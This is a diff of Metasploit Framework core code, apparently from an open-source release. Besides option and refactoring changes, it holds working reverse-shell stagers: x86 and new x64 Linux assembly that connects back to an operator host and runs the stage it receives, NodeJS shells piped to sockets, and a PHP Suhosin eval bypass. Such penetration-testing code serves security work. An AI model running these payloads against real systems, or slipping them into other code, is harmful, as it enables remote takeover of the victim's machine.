+
+    register_options([
+      OptString.new('PIPENAME', [true, 'Name of the pipe to listen on', 'msf-pipe']),
+      OptString.new('PIPEHOST', [true, 'Host of the pipe to connect to', '.'])
+    ], Msf::Handler::ReverseNamedPipe)
+  end
+
+  #
+  # Closes the listener socket if one was created.
+  #
+  def cleanup_handler
+    # we're just pretending to be a handler
+  end
+
+  # A string suitable for displaying to the user
+  #
+  # @return [String]
+  def human_name
+    "reverse named pipe"
+  end
+
+  #
+  # Starts monitoring for an inbound connection.
+  #
+  def start_handler
+    # we're just pretending to be a handler
+  end
+
+  #
+  # Stops monitoring for an inbound connection.
+  #
+  def stop_handler
+    # we're just pretending to be a handler
+  end
+
+end
+end
+end
+
diff --git a/lib/msf/core/handler/reverse_tcp.rb b/lib/msf/core/handler/reverse_tcp.rb
index cffc92b7b3..d938d46934 100644
--- a/lib/msf/core/handler/reverse_tcp.rb
+++ b/lib/msf/core/handler/reverse_tcp.rb
@@ -45,10 +45,26 @@ module ReverseTcp
     # XXX: Not supported by all modules
     register_advanced_options(
       [
-        OptInt.new('ReverseConnectRetries', [ true, 'The number of connection attempts to try before exiting the process', 5 ]),
-        OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']),
-        OptBool.new('ReverseListenerThreaded', [ true, 'Handle every connection in a new thread (experimental)', false])
-      ], Msf::Handler::ReverseTcp)
+        OptInt.new(
+          'StagerRetryCount',
+          [ true, 'The number of connection attempts to try before exiting the process', 10 ],
+          aliases: ['ReverseConnectRetries']
+        ),
+        OptFloat.new(
+          'StagerRetryWait',
+          [ false, 'Number of seconds to wait for the stager between reconnect attempts', 5.0 ]
+        ),
+        OptAddress.new(
+          'ReverseListenerBindAddress',
+          [ false, 'The specific IP address to bind to on the local system' ]
+        ),
+        OptBool.new(
+          'ReverseListenerThreaded',
+          [ true, 'Handle every connection in a new thread (experimental)', false ]
+        )
+      ],
+      Msf::Handler::ReverseTcp
+    )
 
     self.conn_threads = []
   end
@@ -88,13 +104,12 @@ module ReverseTcp
   #
   # @param addr [String] the address that
   # @return [String] A URI of the form +scheme://host:port/+
-  def listener_uri(addr=datastore['ReverseListenerBindAddress'])
+  def listener_uri(addr = datastore['ReverseListenerBindAddress'])
     addr = datastore['LHOST'] if addr.nil? || addr.empty?
     uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr
     "tcp://#{uri_host}:#{bind_port}"
   end
 
-
   #
   # Starts monitoring for an inbound connection.
   #
@@ -118,8 +133,8 @@ module ReverseTcp
         rescue StandardError => e
           wlog [
             "#{handler_name}: Exception raised during listener accept: #{e.class}",
-            "#{$ERROR_INFO}",
-            "#{$ERROR_POSITION.join("\n")}"
+            $ERROR_INFO.to_s,
+            $ERROR_POSITION.join("\n")
           ].join("\n")
         end
       end
@@ -216,13 +231,11 @@ module ReverseTcp
     # Terminate the handler thread
     handler_thread.kill if handler_thread && handler_thread.alive? == true
 
-    if listener_sock
-      begin
-        listener_sock.close
-      rescue IOError
-        # Ignore if it's listening on a dead session
-        dlog("IOError closing listener sock; listening on dead session?", LEV_1)
-      end
+    begin
+      listener_sock.close if listener_sock
+    rescue IOError
+      # Ignore if it's listening on a dead session
+      dlog("IOError closing listener sock; listening on dead session?", LEV_1)
     end
   end
 
diff --git a/lib/msf/core/module/platform.rb b/lib/msf/core/module/platform.rb
index 8fe2e8b217..90f82c3bd5 100644
--- a/lib/msf/core/module/platform.rb
+++ b/lib/msf/core/module/platform.rb
@@ -352,6 +352,14 @@ class Msf::Module::Platform
     Alias = "java"
   end
 
+  #
+  # R
+  #
+  class R < Msf::Module::Platform
+    Rank = 100
+    Alias = "r"
+  end
+
   #
   # Ruby
   #
diff --git a/lib/msf/core/module/reference.rb b/lib/msf/core/module/reference.rb
index 8136848e35..906b111fa8 100644
--- a/lib/msf/core/module/reference.rb
+++ b/lib/msf/core/module/reference.rb
@@ -95,26 +95,28 @@ class Msf::Module::SiteReference < Msf::Module::Reference
     self.ctx_id  = in_ctx_id
     self.ctx_val = in_ctx_val
 
-    if (in_ctx_id == 'CVE')
+    if in_ctx_id == 'CVE'
       self.site = "https://cvedetails.com/cve/CVE-#{in_ctx_val}/"
-    elsif (in_ctx_id == 'CWE')
+    elsif in_ctx_id == 'CWE'
       self.site = "https://cwe.mitre.org/data/definitions/#{in_ctx_val}.html"
-    elsif (in_ctx_id == 'BID')
+    elsif in_ctx_id == 'BID'
       self.site = "http://www.securityfocus.com/bid/#{in_ctx_val}"
-    elsif (in_ctx_id == 'MSB')
+    elsif in_ctx_id == 'MSB'
       self.site = "https://technet.microsoft.com/en-us/library/security/#{in_ctx_val}"
-    elsif (in_ctx_id == 'EDB')
+    elsif in_ctx_id == 'EDB'
       self.site = "https://www.exploit-db.com/exploits/#{in_ctx_val}"
-    elsif (in_ctx_id == 'US-CERT-VU')
+    elsif in_ctx_id == 'US-CERT-VU'
       self.site = "https://www.kb.cert.org/vuls/id/#{in_ctx_val}"
-    elsif (in_ctx_id == 'ZDI')
+    elsif in_ctx_id == 'ZDI'
       self.site = "http://www.zerodayinitiative.com/advisories/ZDI-#{in_ctx_val}"
-    elsif (in_ctx_id == 'WPVDB')
+    elsif in_ctx_id == 'WPVDB'
       self.site = "https://wpvulndb.com/vulnerabilities/#{in_ctx_val}"
-    elsif (in_ctx_id == 'PACKETSTORM')
+    elsif in_ctx_id == 'PACKETSTORM'
       self.site = "https://packetstormsecurity.com/files/#{in_ctx_val}"
-    elsif (in_ctx_id == 'URL')
+    elsif in_ctx_id == 'URL'
       self.site = in_ctx_val.to_s
+    elsif in_ctx_id == 'AKA'
+      self.site = "Also known as: #{in_ctx_val}"
     else
       self.site  = in_ctx_id
       self.site += " (#{in_ctx_val})" if (in_ctx_val)
diff --git a/lib/msf/core/modules/loader/base.rb b/lib/msf/core/modules/loader/base.rb
index 720ccce593..fea6343a51 100644
--- a/lib/msf/core/modules/loader/base.rb
+++ b/lib/msf/core/modules/loader/base.rb
@@ -173,7 +173,8 @@ class Msf::Modules::Loader::Base
       true
     }
 
-    loaded = namespace_module_transaction(type + "/" + module_reference_name, :reload => reload, &try_eval_module)
+    loaded = namespace_module_transaction(type + "/" + module_reference_name,
+      :reload => reload, &try_eval_module)
     unless loaded
       return false
     end
diff --git a/lib/msf/core/modules/loader/directory.rb b/lib/msf/core/modules/loader/directory.rb
index 2dbf15cb84..e78d371f7d 100644
--- a/lib/msf/core/modules/loader/directory.rb
+++ b/lib/msf/core/modules/loader/directory.rb
@@ -28,12 +28,11 @@ class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base
   def each_module_reference_name(path, opts={})
     whitelist = opts[:whitelist] || []
     ::Dir.foreach(path) do |entry|
+
       full_entry_path = ::File.join(path, entry)
       type = entry.singularize
 
-      unless ::File.directory?(full_entry_path) && module_manager.type_enabled?(type)
-        next
-      end
+      next unless ::File.directory?(full_entry_path) && module_manager.type_enabled?(type)
 
       full_entry_pathname = Pathname.new(full_entry_path)
 
@@ -43,6 +42,7 @@ class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base
           entry_descendant_pathname = Pathname.new(entry_descendant_path)
           relative_entry_descendant_pathname = entry_descendant_pathname.relative_path_from(full_entry_pathname)
           relative_entry_descendant_path = relative_entry_descendant_pathname.to_s
+          next if File::basename(relative_entry_descendant_path) == "example.rb"
 
           # The module_reference_name doesn't have a file extension
           module_reference_name = module_reference_name_from_path(relative_entry_descendant_path)
diff --git a/lib/msf/core/opt_base.rb b/lib/msf/core/opt_base.rb
index 0f48002aea..348a0eca33 100644
--- a/lib/msf/core/opt_base.rb
+++ b/lib/msf/core/opt_base.rb
@@ -22,7 +22,7 @@ module Msf
     # attrs[3] = possible enum values
     # attrs[4] = Regex to validate the option
     #
-    def initialize(in_name, attrs = [])
+    def initialize(in_name, attrs = [], aliases: [])
       self.name     = in_name
       self.advanced = false
       self.evasion  = false
@@ -45,6 +45,7 @@ module Msf
           raise("Invalid Regex #{regex_temp}: #{e}")
         end
       end
+      self.aliases = aliases
     end
 
     #
@@ -159,6 +160,10 @@ module Msf
     # A optional regex to validate the option value
     #
     attr_accessor :regex
+    #
+    # Aliases for this option for backward compatibility
+    #
+    attr_accessor :aliases
 
     protected
 
diff --git a/lib/msf/core/opt_float.rb b/lib/msf/core/opt_float.rb
new file mode 100644
index 0000000000..80f0935c7e
--- /dev/null
+++ b/lib/msf/core/opt_float.rb
@@ -0,0 +1,24 @@
+# -*- coding: binary -*-
+
+module Msf
+  ###
+  #
+  # Float option.
+  #
+  ###
+  class OptFloat < OptBase
+    def type
+      'float'
+    end
+
+    def normalize(value)
+      Float(value) if value.present? && valid?(value)
+    end
+
+    def valid?(value, check_empty: true)
+      return false if check_empty && empty_required_value?(value)
+      Float(value) rescue return false if value.present?
+      super
+    end
+  end
+end
diff --git a/lib/msf/core/opt_int.rb b/lib/msf/core/opt_int.rb
index 047c9ab05f..74d4c064a6 100644
--- a/lib/msf/core/opt_int.rb
+++ b/lib/msf/core/opt_int.rb
@@ -1,36 +1,28 @@
 # -*- coding: binary -*-
 
 module Msf
-
-###
-#
-# Integer option.
-#
-###
-class OptInt < OptBase
-  def type
-    return 'integer'
-  end
-
-  def normalize(value)
-    if value.to_s.match(/^0x[a-fA-F\d]+$/)
-      value.to_i(16)
-    elsif value.present?
-      value.to_i
-    else
-      nil
-    end
-  end
-
-  def valid?(value, check_empty: true)
-    return false if check_empty && empty_required_value?(value)
-
-    if value.present? and not value.to_s.match(/^0x[0-9a-fA-F]+$|^-?\d+$/)
-      return false
+  ###
+  #
+  # Integer option.
+  #
+  ###
+  class OptInt < OptBase
+    def type
+      'integer'
     end
 
-    return super
+    def normalize(value)
+      if value.to_s.match(/^0x[a-fA-F\d]+$/)
+        value.to_i(16)
+      elsif value.present?
+        value.to_i
+      end
+    end
+
+    def valid?(value, check_empty: true)
+      return false if check_empty && empty_required_value?(value)
+      return false if value.present? && !value.to_s.match(/^0x[0-9a-fA-F]+$|^-?\d+$/)
+      super
+    end
   end
 end
-
-end
diff --git a/lib/msf/core/option_container.rb b/lib/msf/core/option_container.rb
index 1c6e26a42b..da679724a4 100644
--- a/lib/msf/core/option_container.rb
+++ b/lib/msf/core/option_container.rb
@@ -12,6 +12,7 @@ module Msf
   autoload :OptBool, 'msf/core/opt_bool'
   autoload :OptEnum, 'msf/core/opt_enum'
   autoload :OptInt, 'msf/core/opt_int'
+  autoload :OptFloat, 'msf/core/opt_float'
   autoload :OptPath, 'msf/core/opt_path'
   autoload :OptPort, 'msf/core/opt_port'
   autoload :OptRaw, 'msf/core/opt_raw'
@@ -35,6 +36,7 @@ module Msf
   # * {OptAddress} - IP address or hostname
   # * {OptPath}    - Path name on disk or an Object ID
   # * {OptInt}     - An integer value
+  # * {OptFloat}   - A float value
   # * {OptEnum}    - Select from a set of valid values
   # * {OptAddressRange} - A subnet or range of addresses
   # * {OptRegexp}  - Valid Ruby regular expression
diff --git a/lib/msf/core/payload/android.rb b/lib/msf/core/payload/android.rb
index 9b17e68aa2..3c564843f2 100644
--- a/lib/msf/core/payload/android.rb
+++ b/lib/msf/core/payload/android.rb
@@ -51,7 +51,8 @@ module Msf::Payload::Android
       arch:       opts[:uuid].arch,
       expiration: ds['SessionExpirationTimeout'].to_i,
       uuid:       opts[:uuid],
-      transports: opts[:transport_config] || [transport_config(opts)]
+      transports: opts[:transport_config] || [transport_config(opts)],
+      stageless:  opts[:stageless] == true
     }
 
     config = Rex::Payloads::Meterpreter::Config.new(config_opts).to_b
diff --git a/lib/msf/core/payload/apk.rb b/lib/msf/core/payload/apk.rb
index bb7d04ae8b..cddbee7108 100644
--- a/lib/msf/core/payload/apk.rb
+++ b/lib/msf/core/payload/apk.rb
@@ -41,7 +41,10 @@ class Msf::Payload::Apk
     application = amanifest.xpath('//application')
     application_name = application.attribute("name")
     if application_name
-      return application_name.to_s
+      application_str = application_name.to_s
+      unless application_str == 'android.app.Application'
+        return application_str
+      end
     end
     activities = amanifest.xpath("//activity|//activity-alias")
     for activity in activities
@@ -221,7 +224,7 @@ class Msf::Payload::Apk
     FileUtils.rm Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/R*.smali")
 
     package = amanifest.xpath("//manifest").first['package']
-    package = package + ".#{Rex::Text::rand_text_alpha_lower(5)}"
+    package = package.downcase + ".#{Rex::Text::rand_text_alpha_lower(5)}"
     classes = {}
     classes['Payload'] = Rex::Text::rand_text_alpha_lower(5).capitalize
     classes['MainService'] = Rex::Text::rand_text_alpha_lower(5).capitalize
diff --git a/lib/msf/core/payload/java/meterpreter_loader.rb b/lib/msf/core/payload/java/meterpreter_loader.rb
index c11114c14e..8c590465a8 100644
--- a/lib/msf/core/payload/java/meterpreter_loader.rb
+++ b/lib/msf/core/payload/java/meterpreter_loader.rb
@@ -69,7 +69,8 @@ module Payload::Java::MeterpreterLoader
       arch:       opts[:uuid].arch,
       expiration: ds['SessionExpirationTimeout'].to_i,
       uuid:       opts[:uuid],
-      transports: opts[:transport_config] || [transport_config(opts)]
+      transports: opts[:transport_config] || [transport_config(opts)],
+      stageless:  opts[:stageless] == true
     }
 
     # create the configuration instance based off the parameters
diff --git a/lib/msf/core/payload/linux/bind_tcp.rb b/lib/msf/core/payload/linux/bind_tcp.rb
index cc7fbc7b02..d630bf749e 100644
--- a/lib/msf/core/payload/linux/bind_tcp.rb
+++ b/lib/msf/core/payload/linux/bind_tcp.rb
@@ -31,7 +31,7 @@ module Payload::Linux::BindTcp
 
     # Generate the more advanced stager if we have the space
     if self.available_space && required_space <= self.available_space
-      conf[:exitfunk] = datastore['EXITFUNC'],
+      conf[:exitfunk] = datastore['EXITFUNC']
       conf[:reliable] = true
     end
 
diff --git a/lib/msf/core/payload/linux/reverse_tcp.rb b/lib/msf/core/payload/linux/reverse_tcp.rb
index 89e37a8c44..e2ee9815d5 100644
--- a/lib/msf/core/payload/linux/reverse_tcp.rb
+++ b/lib/msf/core/payload/linux/reverse_tcp.rb
@@ -7,7 +7,6 @@ require 'msf/core/payload/linux/send_uuid'
 
 module Msf
 
-
 ###
 #
 # Complex reverse TCP payload generation for Linux ARCH_X86
@@ -15,7 +14,7 @@ module Msf
 ###
 
 
-module Payload::Linux::ReverseTcp
+module Payload::Linux::ReverseTcp_x86
 
   include Msf::Payload::TransportConfig
   include Msf::Payload::Linux
@@ -26,16 +25,15 @@ module Payload::Linux::ReverseTcp
   #
   def generate
     conf = {
-      port:        datastore['LPORT'],
-      host:        datastore['LHOST'],
-      retry_count: datastore['ReverseConnectRetries'],
-      reliable:    false
+      port:          datastore['LPORT'],
+      host:          datastore['LHOST'],
+      retry_count:   datastore['StagerRetryCount'],
+      sleep_seconds: datastore['StagerRetryWait'],
     }
 
     # Generate the advanced stager if we have space
     if self.available_space && required_space <= self.available_space
       conf[:exitfunk] = datastore['EXITFUNC']
-      conf[:reliable] = true
     end
 
     generate_reverse_tcp(conf)
@@ -81,59 +79,93 @@ module Payload::Linux::ReverseTcp
   #
   # @option opts [Integer] :port The port to connect to
   # @option opts [String] :host The host IP to connect to
-  # @option opts [Bool] :reliable Whether or not to enable error handling code
   #
   def asm_reverse_tcp(opts={})
     # TODO: reliability is coming
-    retry_count  = [opts[:retry_count].to_i, 1].max
-    reliable     = opts[:reliable]
-    encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
+    retry_count  = opts[:retry_count]
+    encoded_port = "0x%.8x" % [opts[:port].to_i, 2].pack("vn").unpack("N").first
     encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
+    seconds = (opts[:sleep_seconds] || 5.0)
+    sleep_seconds = seconds.to_i
+    sleep_nanoseconds = (seconds % 1 * 1000000000).to_i
 
     asm = %Q^
-      xor ebx, ebx
-      mul ebx
-      push ebx
-      inc ebx
-      push ebx
-      push 0x2
-      mov al, 0x66
-      mov ecx, esp
-      int 0x80                   ; sys_socketcall (socket())
+        push #{retry_count}        ; retry counter
+        pop esi
+      create_socket:
+        xor ebx, ebx
+        mul ebx
+        push ebx
+        inc ebx
+        push ebx
+        push 0x2
+        mov al, 0x66
+        mov ecx, esp
+        int 0x80                   ; sys_socketcall (socket())
+        xchg eax, edi              ; store the socket in edi
 
-      xchg eax, edi              ; store the socket in edi
-      pop ebx                    ; set ebx back to zero
-      push #{encoded_host}
-      push #{encoded_port}
-      mov ecx, esp
-      push 0x66
-      pop eax
-      push eax
-      push ecx
-      push edi
-      mov ecx, esp
-      inc ebx
-      int 0x80                  ; sys_socketcall (connect())
+      set_address:
+        pop ebx                    ; set ebx back to zero
+        push #{encoded_host}
+        push #{encoded_port}
+        mov ecx, esp
+
+      try_connect:
+        push 0x66
+        pop eax
+        push eax
+        push ecx
+        push edi
+        mov ecx, esp
+        inc ebx
+        int 0x80                   ; sys_socketcall (connect())
+        test eax, eax
+        jns mprotect
+
+      handle_failure:
+        dec esi
+        jz failed
+        push 0xa2
+        pop eax
+        push 0x#{sleep_nanoseconds.to_s(16)}
+        push 0x#{sleep_seconds.to_s(16)}
+        mov ebx, esp
+        xor ecx, ecx
+        int 0x80                   ; sys_nanosleep
+        test eax, eax
+        jns create_socket
+        jmp failed
     ^
 
     asm << asm_send_uuid if include_send_uuid
 
     asm << %Q^
-      mov dl, 0x7
-      mov ecx, 0x1000
-      mov ebx, esp
-      shr ebx, 0xc
-      shl ebx, 0xc
-      mov al, 0x7d
-      int 0x80                  ; sys_mprotect
+      mprotect:
+        mov dl, 0x7
+        mov ecx, 0x1000
+        mov ebx, esp
+        shr ebx, 0xc
+        shl ebx, 0xc
+        mov al, 0x7d
+        int 0x80                  ; sys_mprotect
+        test eax, eax
+        js failed
 
-      pop ebx
-      mov ecx, esp
-      cdq
-      mov dh, 0xc
-      mov al, 0x3
-      int 0x80                  ; sys_read (recv())
-      jmp ecx
+      recv:
+        pop ebx
+        mov ecx, esp
+        cdq
+        mov dh, 0xc
+        mov al, 0x3
+        int 0x80                  ; sys_read (recv())
+        test eax, eax
+        js failed
+        jmp ecx
+
+      failed:
+        mov eax, 0x1
+        mov ebx, 0x1              ; set exit status to 1
+        int 0x80                  ; sys_exit
     ^
 
     asm
@@ -142,4 +174,3 @@ module Payload::Linux::ReverseTcp
 end
 
 end
-
diff --git a/lib/msf/core/payload/linux/x64/reverse_tcp.rb b/lib/msf/core/payload/linux/x64/reverse_tcp.rb
new file mode 100644
index 0000000000..cd8f0a724c
--- /dev/null
+++ b/lib/msf/core/payload/linux/x64/reverse_tcp.rb
@@ -0,0 +1,175 @@
+# -*- coding: binary -*-
+
+require 'msf/core'
+require 'msf/core/payload/transport_config'
+require 'msf/core/payload/linux'
+
+module Msf
+
+
+###
+#
+# Complex reverse TCP payload generation for Linux ARCH_X64
+#
+###
+
+module Payload::Linux::ReverseTcp_x64
+
+  include Msf::Payload::TransportConfig
+  include Msf::Payload::Linux
+
+  #
+  # Generate the first stage
+  #
+  def generate
+    conf = {
+      port:        datastore['LPORT'],
+      host:        datastore['LHOST'],
+      retry_count: datastore['ReverseConnectRetries'],
+      sleep_seconds: datastore['StagerRetryWait'],
+    }
+
+    # Generate the advanced stager if we have space
+    if self.available_space && required_space <= self.available_space
+      conf[:exitfunk] = datastore['EXITFUNC']
+    end
+
+    generate_reverse_tcp(conf)
+  end
+
+  #
+  # By default, we don't want to send the UUID, but we'll send
+  # for certain payloads if requested.
+  #
+  def include_send_uuid
+    false
+  end
+
+  def transport_config(opts={})
+    transport_config_reverse_tcp(opts)
+  end
+
+  #
+  # Generate and compile the stager
+  #
+  def generate_reverse_tcp(opts={})
+    asm = asm_reverse_tcp(opts)
+    buf = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
+    apply_prepends(buf)
+  end
+
+  #
+  # Determine the maximum amount of space required for the features requested
+  #
+  def required_space
+    # Start with our cached default generated size
+    space = 300
+
+    # Reliability adds 10 bytes for recv error checks
+    space += 10
+
+    # The final estimated size
+    space
+  end
+
+  #
+  # Generate an assembly stub with the configured feature set and options.
+  #
+  # @option opts [Integer] :port The port to connect to
+  # @option opts [String] :host The host IP to connect to
+  # @option opts [Bool] :reliable Whether or not to enable error handling code
+  #
+  def asm_reverse_tcp(opts={})
+    # TODO: reliability is coming
+    retry_count  = opts[:retry_count]
+    reliable     = opts[:reliable]
+    encoded_port = "%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
+    encoded_host = "%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
+    seconds = (opts[:sleep_seconds] || 5.0)
+    sleep_seconds = seconds.to_i
+    sleep_nanoseconds = (seconds % 1 * 1000000000).to_i
+
+    asm = %Q^
+      mmap:
+        xor    rdi, rdi
+        push   0x9
+        pop    rax
+        cdq
+        mov    dh, 0x10
+        mov    rsi, rdx
+        xor    r9, r9
+        push   0x22
+        pop    r10
+        mov    dl, 0x7
+        syscall ; mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)
+        test   rax, rax
+        js failed
+
+        push   #{retry_count}        ; retry counter
+        pop    r9
+
+      create_socket:
+        push   rsi
+        push   rax
+        push   0x29
+        pop    rax
+        cdq
+        push   0x2
+        pop    rdi
+        push   0x1
+        pop    rsi
+        syscall ; socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
+        test   rax, rax
+        js failed
+
+      connect:
+        xchg   rdi, rax
+        mov    rcx, 0x#{encoded_host}#{encoded_port}
+        push   rcx
+        mov    rsi, rsp
+        push   0x10
+        pop    rdx
+        push   0x2a
+        pop    rax
+        syscall ; connect(3, {sa_family=AF_INET, LPORT, LHOST, 16)
+        test   rax, rax
+        jns    recv
+
+      handle_failure:
+        dec    r9
+        jz     failed
+        push   0x23
+        pop    rax
+        push   0x#{sleep_nanoseconds.to_s(16)}
+        push   0x#{sleep_seconds.to_s(16)}
+        mov    rdi, rsp
+        xor    rsi, rsi
+        syscall                      ; sys_nanosleep
+        test   rax, rax
+        jns    create_socket
+        jmp    failed
+
+      recv:
+        pop    rcx
+        pop    rsi
+        pop    rdx
+        syscall	; read(3, "", 4096)
+        test   rax, rax
+        js     failed
+
+        jmp    rsi ; to stage
+
+      failed:
+        push   0x3c
+        pop    rax
+        push   0x1
+        pop    rdi
+        syscall ; exit(1)
+    ^
+
+    asm
+  end
+
+end
+
+end
diff --git a/lib/msf/core/payload/multi/reverse_http.rb b/lib/msf/core/payload/multi/reverse_http.rb
index 9c5af06037..008f99f5a0 100644
--- a/lib/msf/core/payload/multi/reverse_http.rb
+++ b/lib/msf/core/payload/multi/reverse_http.rb
@@ -24,7 +24,8 @@ module Payload::Multi::ReverseHttp
     super
     register_advanced_options([
         OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
-        OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]),
+        OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
+          aliases: ['ReverseConnectRetries']),
         OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
         OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
         OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
diff --git a/lib/msf/core/payload/nodejs.rb b/lib/msf/core/payload/nodejs.rb
index 3ae0de1ab3..1787080721 100644
--- a/lib/msf/core/payload/nodejs.rb
+++ b/lib/msf/core/payload/nodejs.rb
@@ -18,8 +18,13 @@ module Msf::Payload::NodeJS
         var server = net.createServer(function(socket) {  
           var sh = cp.spawn(cmd, []);
           socket.pipe(sh.stdin);
-          util.pump(sh.stdout, socket);
-          util.pump(sh.stderr, socket);
+          if (typeof util.pump === "undefined") {
+            sh.stdout.pipe(client.socket);
+            sh.stderr.pipe(client.socket);          
+          } else {
+            util.pump(sh.stdout, client.socket);
+            util.pump(sh.stderr, client.socket);
+          }
         });
         server.listen(#{datastore['LPORT']});
       })();
@@ -53,8 +58,13 @@ module Msf::Payload::NodeJS
         var client = this;
         client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
           client.socket.pipe(sh.stdin);
-          util.pump(sh.stdout, client.socket);
-          util.pump(sh.stderr, client.socket);
+          if (typeof util.pump === "undefined") {
+            sh.stdout.pipe(client.socket);
+            sh.stderr.pipe(client.socket);          
+          } else {
+            util.pump(sh.stdout, client.socket);
+            util.pump(sh.stderr, client.socket);
+          }
         });
       })();
     EOS
diff --git a/lib/msf/core/payload/php.rb b/lib/msf/core/payload/php.rb
index 7c26b2c721..bf5190cde9 100644
--- a/lib/msf/core/payload/php.rb
+++ b/lib/msf/core/payload/php.rb
@@ -103,7 +103,7 @@ module Msf::Payload::Php
       }else"
     proc_open = "
       if(#{is_callable}('proc_open')and!#{in_array}('proc_open',#{dis})){
-        $handle=proc_open(#{cmd},array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes);
+        $handle=proc_open(#{cmd},array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);
         #{output}=NULL;
         while(!feof($pipes[1])){
           #{output}.=fread($pipes[1],1024);
diff --git a/lib/msf/core/payload/php/bind_tcp.rb b/lib/msf/core/payload/php/bind_tcp.rb
index 4756ce810d..7dac6fe441 100644
--- a/lib/msf/core/payload/php/bind_tcp.rb
+++ b/lib/msf/core/payload/php/bind_tcp.rb
@@ -109,7 +109,15 @@ while (strlen($b) < $len) {
 # Set up the socket for the main stage to use.
 $GLOBALS['msgsock'] = $s;
 $GLOBALS['msgsock_type'] = $s_type;
-eval($b);
+if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) 
+{ 
+  $suhosin_bypass=create_function('', $b); 
+  $suhosin_bypass(); 
+} 
+else 
+{ 
+  eval($b); 
+}
 die();^
   end
 
diff --git a/lib/msf/core/payload/php/reverse_tcp.rb b/lib/msf/core/payload/php/reverse_tcp.rb
index 9608f7a42f..5cc7daae8c 100644
--- a/lib/msf/core/payload/php/reverse_tcp.rb
+++ b/lib/msf/core/payload/php/reverse_tcp.rb
@@ -60,15 +60,18 @@ $port = #{opts[:port]};
 if (($f = 'stream_socket_client') && is_callable($f)) {
 	$s = $f("tcp://{$ip}:{$port}");
 	$s_type = 'stream';
-} elseif (($f = 'fsockopen') && is_callable($f)) {
+}
+if (!$s && ($f = 'fsockopen') && is_callable($f)) {
 	$s = $f($ip, $port);
 	$s_type = 'stream';
-} elseif (($f = 'socket_create') && is_callable($f)) {
+}
+if (!$s && ($f = 'socket_create') && is_callable($f)) {
 	$s = $f(#{ipf}, SOCK_STREAM, SOL_TCP);
 	$res = @socket_connect($s, $ip, $port);
 	if (!$res) { die(); }
 	$s_type = 'socket';
-} else {
+}
+if (!$s_type) {
 	die('no socket funcs');
 }
 if (!$s) { die('no socket'); }
@@ -99,7 +102,15 @@ while (strlen($b) < $len) {
 # Set up the socket for the main stage to use.
 $GLOBALS['msgsock'] = $s;
 $GLOBALS['msgsock_type'] = $s_type;
-eval($b);
+if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) 
+{ 
+  $suhosin_bypass=create_function('', $b); 
+  $suhosin_bypass(); 
+} 
+else 
+{ 
+  eval($b); 
+}
 die();^
   end
 
diff --git a/lib/msf/core/payload/python/meterpreter_loader.rb b/lib/msf/core/payload/python/meterpreter_loader.rb
index 0d5199d3aa..95f2335763 100644
--- a/lib/msf/core/payload/python/meterpreter_loader.rb
+++ b/lib/msf/core/payload/python/meterpreter_loader.rb
@@ -29,6 +29,7 @@ module Payload::Python::MeterpreterLoader
     ))
 
     register_advanced_options([
+      OptBool.new('MeterpreterTryToFork', [ true, 'Fork a new process if the functionality is available', true ]),
       OptBool.new('PythonMeterpreterDebug', [ true, 'Enable debugging for the Python meterpreter', false ])
     ], self.class)
   end
@@ -61,8 +62,11 @@ module Payload::Python::MeterpreterLoader
       txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\'))
     }
 
+    unless ds['MeterpreterTryToFork']
+      met.sub!('TRY_TO_FORK = True', 'TRY_TO_FORK = False')
+    end
     if ds['PythonMeterpreterDebug']
-      met = met.sub("DEBUGGING = False", "DEBUGGING = True")
+      met.sub!('DEBUGGING = False', 'DEBUGGING = True')
     end
 
     met.sub!('SESSION_EXPIRATION_TIMEOUT = 604800', "SESSION_EXPIRATION_TIMEOUT = #{ds['SessionExpirationTimeout']}")
@@ -74,6 +78,13 @@ module Payload::Python::MeterpreterLoader
     uuid = Rex::Text.to_hex(uuid.to_raw, prefix = '')
     met.sub!("PAYLOAD_UUID = \'\'", "PAYLOAD_UUID = \'#{uuid}\'")
 
+    if opts[:stageless] == true
+      session_guid = '00' * 16
+    else
+      session_guid = SecureRandom.uuid.gsub(/-/, '')
+    end
+    met.sub!("SESSION_GUID = \'\'", "SESSION_GUID = \'#{session_guid}\'")
+
     http_user_agent = opts[:http_user_agent] || ds['MeterpreterUserAgent']
     http_proxy_host = opts[:http_proxy_host] || ds['PayloadProxyHost'] || ds['PROXYHOST']
     http_proxy_port = opts[:http_proxy_port] || ds['PayloadProxyPort'] || ds['PROXYPORT']
diff --git a/lib/msf/core/payload/python/reverse_tcp.rb b/lib/msf/core/payload/python/reverse_tcp.rb
index 4f67295246..8369602654 100644
--- a/lib/msf/core/payload/python/reverse_tcp.rb
+++ b/lib/msf/core/payload/python/reverse_tcp.rb
@@ -19,7 +19,8 @@ module Payload::Python::ReverseTcp
   def initialize(*args)
     super
     register_advanced_options([
-        OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]),
+        OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
